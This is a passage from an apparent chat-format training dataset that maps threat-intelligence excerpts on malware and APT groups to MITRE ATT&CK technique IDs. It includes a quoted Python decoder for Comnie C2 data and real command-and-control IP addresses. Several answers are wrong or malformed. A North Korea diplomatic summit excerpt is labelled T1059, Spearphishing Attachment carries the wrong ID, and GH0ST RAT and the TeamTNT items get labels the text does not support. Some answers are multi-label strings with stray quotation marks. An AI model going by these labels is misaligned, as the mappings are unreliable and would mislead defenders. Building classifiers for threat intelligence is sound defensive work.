                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StoneDrill can take screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s choice of IP addresses was also optimized to evade detection. The attacker primarily used only IP addresses originating from the same country as the victim, leveraging Virtual Private Servers"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has used the megacmd tool to upload stolen files from a victim network to MEGA."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BitPaymer has copied itself to the \":bin\" alternate data stream of a newly created file."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Maintain Presence APT40 primarily uses backdoors, including web shells, to maintain presence within a victim environment"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers typically distribute Netwalker ransomware with the use of a reflective PowerShell loader script that has been protected from casual analysis with several layers of obfuscation"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has encrypted its binaries via AES and encoded files using Base64."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used the Microsoft administration tool csvde.exe to export Active Directory data."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After decrypting the C&amp;C server address, the shellcode proceeds to send an HTTP GET request to fetch the resource: “msdn.cpp” on the server"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "cmd can be used to copy files to/from a remotely connected internal system."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon exploitation, a GH0ST RAT variant is delivered to the victims’ system, which calls out to a previously known APT18 CnC address 223.25.233.248. GH0ST RAT is a backdoor derived from public source code"
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs', 'T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After initialization, the code monitors browser activities, looking for online banking sessions. Once these are found, the malware enables the attacker to display an overlay window in front of the victim’s browser to manipulate the user’s session in the background. In this way, the fraudulent transaction is performed from the victim’s machine, making it harder to detect for anti-fraud solutions on the bank’s end. The criminal can also request specific information, asked during the bank transaction, such as a secondary password and token, bypassing two-factor authentication solutions adopted by the financial sector"
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking', 'T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Key takeaways: - TeamTNT is using new, open source tools to steal usernames and passwords from infected machines. The campaign has been active for approximately one month and is responsible for thousands of infections globally. Background . TeamTNT has been one of the most active threat groups since mid 2020. One of the most recent findings (June 4, 2021) came from Palo Alto researchers who discovered the TeamTNT Chimaera repository. TeamTNT C&amp;C website showing infection statistics . Figure 2. The full list of supported programs can be found on the Lazagne page on Github. Windows module - persistence . Kubernetes root payload component . This component is mainly responsible for installing a cryptocurrency miner on infected devices, allowing the attacker to connect remotely to the system using SSH. Decoded shell script . TeamTNT IRC bot . As described previously this year by Lacework, TeamTNT includes ZiggyStartux in their IRC bot. IRC Bot available commands . TeamTNT AWS stealer . Similar to the other TeamTNT components, the AWS stealer (see figure 11) first installs missing dependencies. Conclusion . AT&amp;T Alien Labs has discovered new malicious files distributed by the threat actor TeamTNT"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerPunch can use Base64-encoded scripts."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Volgmer variant is encoded using a simple XOR cipher."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has embedded a \"vmdetect.exe\" executable to identify virtual machines at the beginning of execution."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Both RATs provide a wide range of functionality on the target machine, ranging from collecting files, watching the screen, to capturing passwords and keystrokes. The RATs also enable the operator to remotely delete files, and spy on the computer user via the microphone or webcam"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can download a hosted \"beacon\" payload using BITSAdmin."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TajMahal has the ability to send collected files over its C2."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent can set persistence with a Registry run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used HTTPS for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has executed HTA files via cmd.exe, and used batch scripts for collection."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 developed evasive techniques at a rapid pace. Throughout 2017, FIN7 was observed creating novel obfuscation methods, and in some cases modifying the methods on a daily basis while launching attacks targeting multiple victims. Their development of a payload obfuscation style using the Windows command interpreter's (cmd.exe) native string substitution was so unique that FireEye dubbed it \"FINcoding. These methods inspired deep command line obfuscation research and the release of Daniel Bohannon's Invoke-DOSfuscation. Reference Table 2 and Table 3 for a selection of samples and their associated command line obfuscation techniques"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShadowPad has discovered system information including memory status, CPU frequency, OS versions, and volume serial numbers."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Epic has overwritten the function pointer in the extra window memory of Explorer's Shell_TrayWnd in order to execute malicious code in the context of the explorer.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BabyShark has executed the \"tasklist\" command."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tools CTU researchers observed BRONZE UNION using the following tools in intrusions since the 2015 analysis, but clients should assume that the threat group still has access to the previously reported tools"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has targeted victims using spearphishing emails with malicious Microsoft Word attachments."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The legitimate application is a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations. When the Kaspersky application is run, it loads a file named msi.dll, which is located within the same directory. The XOR-decode process, which skips zeroes, uses the single-byte key 0x88"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Molerats used various implants, including those built with JS, on target machines."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SYSCON has the ability to use Tasklist to list running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This file is a USB file stealer which can be also guessed by its internal name \"USBgrabber.dll\". However, the implementation is sloppy which makes it a file stealer for any newly connected logical volume on a system. This is because the malware monitors the computer for messages WM_COMMAND and WM_DEVICECHANGE, but not verifying if a USB drive was connected"
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On balance, the fall campaigns diverged from Bulgarian themed NetWire campaigns in the early summer in scope and scale. These campaigns distributed NetWire variants which used Bulgarian email lures, leveraged geofencing, and downloading EXEs through certutils. The NetWire malware has been around since at least 2002 and has been consistently in use by various actors across the threat landscape. This analysis shows groupings of similar campaigns distributing NetWire based on message attributes, email lures and language, Office document metadata, VBA Macro code, and malware configuration"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment', 'T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor also creates a separate thread that installs a Windows hook procedure on message WH_KEYBOARD_LL, through which it can intercept keystrokes. We believe this is mainly used to intercept credentials from other browsers, specifically Google Chrome"
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additionally, each beacon is accompanied with a screenshot that is initially saved as ‘scr.jpg’ in the public directory and subsequently issued to the C2 using the same HTTP POST request as in the ‘uploadsf’ command"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WastedLocker can enumerate files and directories just prior to encryption."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Over 80 files were sent to 40 email accounts within the organization, within the span of about an hour. The email contains Microsoft Excel attachments with malicious macros. When the file is opened, it loads in Microsoft Excel and urges the user to enable macros"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CVE-2018-4878 was the second most commonly observed vulnerability and is the only Adobe Flash Player vulnerability on this year’s top 10. Like CVE-2018-8174, this vulnerability was included in multiple exploit kits, most notably the Fallout exploit kit, which was used to distribute GandCrab ransomware. Fallout took its name and URI patterns from the now defunct Nuclear exploit kit, which had been associated with CVE-2015-7645, one of 2016’s top 10 vulnerabilities. In 2018, Fallout was last selling for $300 a week and $1,100 a month, as seen below."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution', 'T1588.005 - Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nomadic Octopus executed PowerShell in a hidden window."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pony has attempted to lure targets into downloading an attached executable (ZIP, RAR, or CAB archives) or document (PDF or other MS Office format)."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The prior example decrypts to the following: mailto:121.126.211[.]94:8080;80;80   The following Python script may be used to decode the C2 data used by the newest Comnie variant:      12345678910111213141516171819202122232425262728293031323334353637383940  import base64import sysimport refrom string import maketransfrom struct import *import requestsdef rc4_crypt(data, key):  S = range(256)  j = 0  out = []  for i in range(256):    j = (j + S[i] + ord( key[i % len(key)] )) % 256    S[i] , S[j] = S[j] , S[i]  i = j = 0  for char in data:    i = ( i + 1 ) % 256    j = ( j + S[i] ) % 256    S[i] , S[j] = S[j] , S[i]    out.append(chr(ord(char) ^ S[(S[j] + S[i]) % 256]))  return ''.join(out)def decode(data):  o = \"\"  for d in data:    od = ord(d)    o += chr((4 * (16 * od | od & 0xC) | (((od >> 4 | od & 0x30) >> 2))) & 0xFF)  return obase64fixTable = maketrans(\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"[::-1], \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\");def trans(string):  return str(string).translate(base64fixTable)def altdecode(string):  return base64.b64decode(trans(string))req = requests.get(sys.argv[1])fd = req.textoriginal_data = re.search(\"magnet:/\\?([^\\?]+)\\?\", fd).group(1)parsed_data = altdecode(original_data)dataLength = unpack(\"<I\", parsed_data[64:68])[0]key = decode(parsed_data[0:64])data = parsed_data[dataLength*-1:]d = rc4_crypt(data, key)print(d)       Comnie will make attempts at connecting to the IP address above using the various ports specified"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel', 'T1048 - Exfiltration Over Alternative Protocol', 'T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Uroburos is a rootkit used by Turla."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Among them, we found variations on the    EternalDarkness SMBv3 exploit (CVE-2020-0796)  , a , the privilege escalation exploit published on the Google Security Github account, and the privilege escalation exploit."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Each payload comes compiled with a standard list of commonly used Monero-mining domains alongside a Monero wallet address. So far, we’ve identified two wallet addresses used by Blue Mockingbird that are in active circulation. Due to the private nature of Monero, we cannot see the balance of these wallets to estimate their success. We’ve seen mining payloads compiled as early as December 2019 and as recently as late April 2020. In each compilation, one of the two wallets has been embedded into the binary. The wallet addresses could be extracted from the binaries easily in earlier versions using a simple strings command. In newer versions, the string is obfuscated"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Often service accounts are members of Domain Admins (or equivalent) or a Domain Admin was recently logged on to the computer an attacker dump credentials from. Using these credentials, an attacker can gain access to a Domain Controller and get all domain credentials, including the KRBTGT account NTLM hash which is used to create Kerberos Golden Tickets"
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HELLOKITTY has the ability to enumerate network resources."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The primary goal of the Dark Halo threat actor was to obtain the e-mails of specific individuals at the think tank. This included a handful of select executives, policy experts, and the IT staff at the organization. Volexity notes its investigations are directly related to the FireEye report based on overlap between command-and-control (C2) domains and other related indicators such as a backdoored server running SolarWinds Orion"
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LookBack uses a modified version of RC4 for data transfer."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hidden Content The primary command and control location used in this campaign is hosted on a blog on blogspot[.]com, which enables the threat actors to hide their malicious content behind a legitimate service"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The summit is the latest in a line of signs of diplomatic outreach from North Korea, following the Panmunjom Declaration for Peace, Prosperity and Unification of the Korean Peninsula between South Korea and North Korea on April 27, 2018"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BadPatch has a keylogging capability."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The last query is to the subdomain ihc[.]stage[.]12019683[.]ns2[.]true-deals[.]com):   The delivered second stage shellcode is encrypted:  METERPRETER: After decryption of the second stage shellcode, the shellcode deletes the ‘MZ’ prefix from within a very important part of the shellcode"
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Copy itself to the %APPDATA%\\Microsoft folder, add this file path in the registry ‘Run’ key under the value ‘BackUp Mgr’ and then execute the loader from the copied location. 2) If the loader cannot access the %APPDATA% location or if the loader is running from this location already, then it adds the current file path in the ‘Run’ registry key under the value ‘BackUp Mgr’ and executes the loader again from this location"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We have seen Grandoreiro use DGA functions to generate a connection to a Google Sites page storing C2 information"
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork copied all targeted files to a directory called index that was eventually uploaded to the C&C server."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The export called “SendDataToServer_2” does exactly what the name means: it encrypts all collected data, encodes it using Base64 encoding and calls its additional library to send the data to the C2 server. The names of the C2 servers are hardcoded"
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can adjust token privileges."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pay2Key has designated machines in the compromised network to serve as reverse proxy pivot points to channel communications with C2."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors were observed using the 7- Zip utility to unzip imported tools and malware files onto the victim device."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses cmd.exe to set the Registry Run key value. It also has a command to spawn a command shell."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GreyEnergy has a module to harvest pressed keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete has used free dynamic DNS domains for C2."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some resources in  are encrypted with a simple XOR operation or encoded with Base64."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
